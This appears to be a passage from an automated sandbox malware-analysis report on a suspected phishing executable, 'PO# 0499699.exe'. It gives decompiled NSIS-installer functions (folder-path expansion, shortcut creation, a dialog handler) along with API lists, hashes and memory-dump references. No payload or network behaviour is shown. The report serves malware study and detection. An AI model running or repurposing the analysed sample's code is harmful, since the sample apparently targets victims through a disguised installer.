Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

GetDiskFreeSpaceA.KERNEL32(0041F440,?,?,0000040F,?,0041F440,0041F440,?,00000000,0041F440,?,?,000003FB,?), ref: 0040440D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404428
SetDlgItemTextA.USER32 ref: 004044A1

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00404321
Call, xrefs: 00404332, 00404337, 00404342
A, xrefs: 004042F4

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp$Call
API String ID: 2246997448-3265145871
Opcode ID: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction ID: b374e158efdd7287bf49babe660ec8015a33fdd664c905072b33ae798ddb7db4
Opcode Fuzzy Hash: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction Fuzzy Hash: 4C9175B1A00219ABDF11AFA1CC84AAF7AB8EF44354F10407BFA04B62D1D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004059FF, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004059FF(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				signed int _t74;
				signed int _t75;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t36 =  *( *0x42365c - 4 + _t36 * 4);
				}
				_t74 =  *0x423eb8 + _t36;
				_t37 = 0x422e20;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422e20;
				if(_a4 - 0x422e20 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E004059FF(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422e20;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x424000;
							E004059DD(_t86, (_t95 << 0xa) + 0x424000);
						} else {
							E0040593B(_t86,  *0x423e88);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405C3F(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423f04;
						if( *0x423f04 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423e84;
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423e88,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423e88,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423eb8;
							E004058C4(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423eb8, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E004059FF(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E004059DD(_a4, _t37);
			}

0x004059ff
0x004059ff
0x004059ff
0x00405a05
0x00405a0a
0x00405a1b
0x00405a1b
0x00405a26
0x00405a28
0x00405a2d
0x00405a30
0x00405a31
0x00405a38
0x00405a3a
0x00405a40
0x00405a43
0x00405a43
0x00405c1c
0x00405c1c
0x00405c20
0x00000000
0x00000000
0x00405a50
0x00405a56
0x00000000
0x00000000
0x00405a5c
0x00405a5d
0x00405a60
0x00405a63
0x00405c0f
0x00405c19
0x00405c1b
0x00405c1b
0x00405c11
0x00405c13
0x00405c15
0x00405c16
0x00405c16
0x00000000
0x00405c0f
0x00405a69
0x00405a6d
0x00405a7d
0x00405a81
0x00405a88
0x00405a8b
0x00405a8f
0x00405a95
0x00405a98
0x00405a9b
0x00405a9e
0x00405bb9
0x00405bbc
0x00405bec
0x00405bef
0x00405bf4
0x00405bf8
0x00405bf8
0x00405bfd
0x00405bfe
0x00405c03
0x00405c06
0x00405c08
0x00000000
0x00405c08
0x00405bbe
0x00405bc1
0x00405bd6
0x00405bdd
0x00405bc3
0x00405bca
0x00405bca
0x00405be5
0x00405be8
0x00405bb1
0x00405bb2
0x00405bb2
0x00000000
0x00405be8
0x00405aa6
0x00405aa7
0x00405aad
0x00405aaf
0x00405ac9
0x00405ac9
0x00405ad0
0x00405ad0
0x00405ad7
0x00405adb
0x00405adb
0x00405adc
0x00405ade
0x00405b17
0x00405b1a
0x00405b2a
0x00405b2d
0x00405b35
0x00405b3b
0x00405b3b
0x00405b97
0x00405b97
0x00405b99
0x00000000
0x00000000
0x00405b3f
0x00405b46
0x00405b47
0x00405b49
0x00405b63
0x00405b71
0x00405b77
0x00405b79
0x00405b94
0x00405b94
0x00405b94
0x00000000
0x00405b94
0x00405b7f
0x00405b8a
0x00405b90
0x00405b92
0x00000000
0x00000000
0x00000000
0x00405b92
0x00405b4b
0x00405b4e
0x00000000
0x00000000
0x00405b5d
0x00405b5f
0x00405b61
0x00000000
0x00000000
0x00000000
0x00405b61
0x00000000
0x00405b97
0x00405b22
0x00000000
0x00405ae0
0x00405ae5
0x00405afb
0x00405b00
0x00405b03
0x00405ba0
0x00405ba0
0x00405ba4
0x00405bac
0x00405bac
0x00000000
0x00405ba4
0x00405b0d
0x00405b9b
0x00405b9b
0x00405b9e
0x00000000
0x00000000
0x00000000
0x00405b9e
0x00405ade
0x00405ab1
0x00405ab5
0x00000000
0x00000000
0x00405ab7
0x00405abb
0x00000000
0x00000000
0x00405abd
0x00405ac1
0x00000000
0x00405ac3
0x00405ac3
0x00000000
0x00405ac3
0x00405ac1
0x00405c26
0x00405c30
0x00405c3c
0x00405c3c
0x00000000

APIs

GetVersion.KERNEL32(?,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405AA7
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405B22
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405B35
SHGetSpecialFolderLocation.SHELL32(?,0040F020), ref: 00405B71
SHGetPathFromIDListA.SHELL32(0040F020,Call), ref: 00405B7F
CoTaskMemFree.OLE32(0040F020), ref: 00405B8A
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405BAC
lstrlenA.KERNEL32(Call,?,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405BFE

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405AF1
Call, xrefs: 00405A28, 00405AEF, 00405B0C, 00405B21, 00405B34, 00405B50, 00405B7B, 00405BAB, 00405BB1, 00405BC9, 00405BDC, 00405BF7, 00405BFD, 00405C08, 00405C32
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405BA6

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction ID: d3edd175ae4d098aa1e1d30cbcff8d3f456ad99068bf2b680a9da6a8a672f2a4
Opcode Fuzzy Hash: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction Fuzzy Hash: 30511471A04A04ABEB215F68DC84B7F3BB4EB55324F14423BE911B62D1D27C6981DF4E

Uniqueness

Uniqueness Score: -1.00%

Function 00402020, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402020() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
				_t96 = E004029F6(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
				if(E0040553D(_t96) == 0) {
					E004029F6(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\jones\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409348, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409348, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x00402029
0x00402033
0x0040203c
0x00402046
0x0040204f
0x00402059
0x0040205d
0x0040205d
0x00402062
0x00402073
0x0040207b
0x0040215b
0x0040215b
0x00402162
0x00402081
0x00402081
0x00402092
0x00402096
0x0040209c
0x004020a6
0x004020a8
0x004020b3
0x004020b6
0x004020c3
0x004020c5
0x004020c7
0x004020ce
0x004020d1
0x004020d1
0x004020d4
0x004020de
0x004020e6
0x004020eb
0x004020f7
0x004020f7
0x004020fa
0x00402103
0x00402106
0x0040210f
0x00402114
0x00402126
0x00402135
0x00402137
0x00402143
0x00402143
0x00402135
0x00402145
0x0040214b
0x0040214b
0x0040214e
0x00402154
0x00402159
0x0040216e
0x00000000
0x00000000
0x00000000
0x00402159
0x00402164
0x0040288e
0x0040289a

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409348,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020AB

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-47812868
Opcode ID: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction ID: ce0b4858a9f81ea3ddc308d80d774a06bef6b406c5dcff46aa6a4b0d76e862c7
Opcode Fuzzy Hash: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction Fuzzy Hash: AE418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040263E(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E004029F6(2), _t19 - 0x1a4) != 0xffffffff) {
					E0040593B(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E004059DD();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402656
0x0040266a
0x00402675
0x00402676
0x004027b1
0x00402658
0x00402658
0x0040265a
0x0040265c
0x0040265c
0x0040288e
0x0040289a

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction ID: 14dcf34609860af9969e045d3f077fc7a18bb2554c958aa599433bfc977b1d94
Opcode Fuzzy Hash: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction Fuzzy Hash: 86F0E572A04101DFD700EBB49E49AEEB778DF51328FA0067BF101F20C1D2B84A45DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 004038BC, Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004038BC(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42045c = _t35;
					if(_t115 == 0x110) {
						 *0x423e88 = _t125;
						 *0x420470 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f438 = _t91;
						E00403D8F(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423668);
						 *0x42364c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42045c = 1;
					}
					_t122 =  *0x4091a4; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423ea0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403DDB(0x40b);
						while(1) {
							_t37 =  *0x42045c;
							 *0x4091a4 =  *0x4091a4 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091a4; // 0xffffffff
							__eflags = _t39 -  *0x423ea4;
							if(_t39 ==  *0x423ea4) {
								E0040140B(1);
							}
							__eflags =  *0x42364c - _t133;
							if( *0x42364c != _t133) {
								break;
							}
							__eflags =  *0x4091a4 -  *0x423ea4; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E004059FF(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403D8F(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423f0c - _t133;
							_v32 = _t49;
							if( *0x423f0c != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403DB1(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f438, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423f0c - _t133;
							if( *0x423f0c == _t133) {
								_push( *0x420470);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f438);
							}
							E00403DC4();
							E004059DD(0x420478, 0x423680);
							E004059FF(0x420478, _t125, _t130,  &(0x420478[lstrlenA(0x420478)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420478);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423658);
									 *0x41fc48 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423e80,  *_t130 +  *0x423660 & 0x0000ffff, _t125,  *(0x4091a8 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423658 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403D8F(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423658, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42364c - _t133;
									if( *0x42364c != _t133) {
										goto L61;
									}
									ShowWindow( *0x423658, 8);
									E00403DDB(0x405);
									goto L58;
								}
								__eflags =  *0x423f0c - _t133;
								if( *0x423f0c != _t133) {
									goto L61;
								}
								__eflags =  *0x423f00 - _t133;
								if( *0x423f00 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423658);
						 *0x423e88 = _t133;
						EndDialog(_t125,  *0x41f840);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423658, 0x40f, 0, 1);
						__eflags =  *0x42364c;
						return 0 |  *0x42364c == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420450, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420450,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403DF6(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423658, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423f0c - _t133;
										if( *0x423f0c == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f840 = 1;
											L21:
											_push(0x78);
											L22:
											E00403D68();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f840 = _t127;
										goto L21;
									}
									__eflags =  *0x4091a4 - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423658);
						 *0x423658 = _a12;
						L58:
						if( *0x421478 == _t133 &&  *0x423658 != _t133) {
							ShowWindow(_t125, 0xa);
							 *0x421478 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x004038c5
0x004038ce
0x00403a0f
0x00403a13
0x00403a17
0x00403a19
0x00403a1e
0x00403a29
0x00403a34
0x00403a39
0x00403a3b
0x00403a3d
0x00403a40
0x00403a45
0x00403a53
0x00403a60
0x00403a67
0x00403a67
0x00403a68
0x00403a68
0x00403a6d
0x00403a73
0x00403a7a
0x00403a80
0x00403a82
0x00403ac2
0x00403ac7
0x00403acc
0x00403acc
0x00403ad1
0x00403ada
0x00403adc
0x00403ae1
0x00403ae7
0x00403aeb
0x00403aeb
0x00403af0
0x00403af6
0x00000000
0x00000000
0x00403b01
0x00403b07
0x00000000
0x00000000
0x00403b10
0x00403b18
0x00403b1d
0x00403b20
0x00403b26
0x00403b2b
0x00403b2e
0x00403b34
0x00403b39
0x00403b3c
0x00403b42
0x00403b4a
0x00403b50
0x00403b56
0x00403b5a
0x00403b61
0x00403b61
0x00403b61
0x00403b6b
0x00403b7d
0x00403b89
0x00403b8e
0x00403b98
0x00403b9e
0x00403ba0
0x00403ba5
0x00403ba2
0x00403ba2
0x00403ba2
0x00403bb5
0x00403bcd
0x00403bcf
0x00403bd5
0x00403bea
0x00403bd7
0x00403be0
0x00403be2
0x00403be2
0x00403bf0
0x00403c00
0x00403c11
0x00403c18
0x00403c1e
0x00403c22
0x00403c27
0x00403c29
0x00000000
0x00403c2f
0x00403c2f
0x00403c31
0x00000000
0x00000000
0x00403c37
0x00403c3b
0x00403c60
0x00403c66
0x00403c6c
0x00403c6e
0x00000000
0x00000000
0x00403c94
0x00403c9a
0x00403c9c
0x00403ca1
0x00000000
0x00000000
0x00403ca7
0x00403caa
0x00403cad
0x00403cc4
0x00403cd0
0x00403ce9
0x00403cef
0x00403cf3
0x00403cf8
0x00403cfe
0x00000000
0x00000000
0x00403d08
0x00403d13
0x00000000
0x00403d13
0x00403c3d
0x00403c43
0x00000000
0x00000000
0x00403c49
0x00403c4f
0x00000000
0x00000000
0x00000000
0x00403c55
0x00403c29
0x00403d20
0x00403d2c
0x00403d33
0x00000000
0x00403a84
0x00403a84
0x00403a87
0x00403aba
0x00403aba
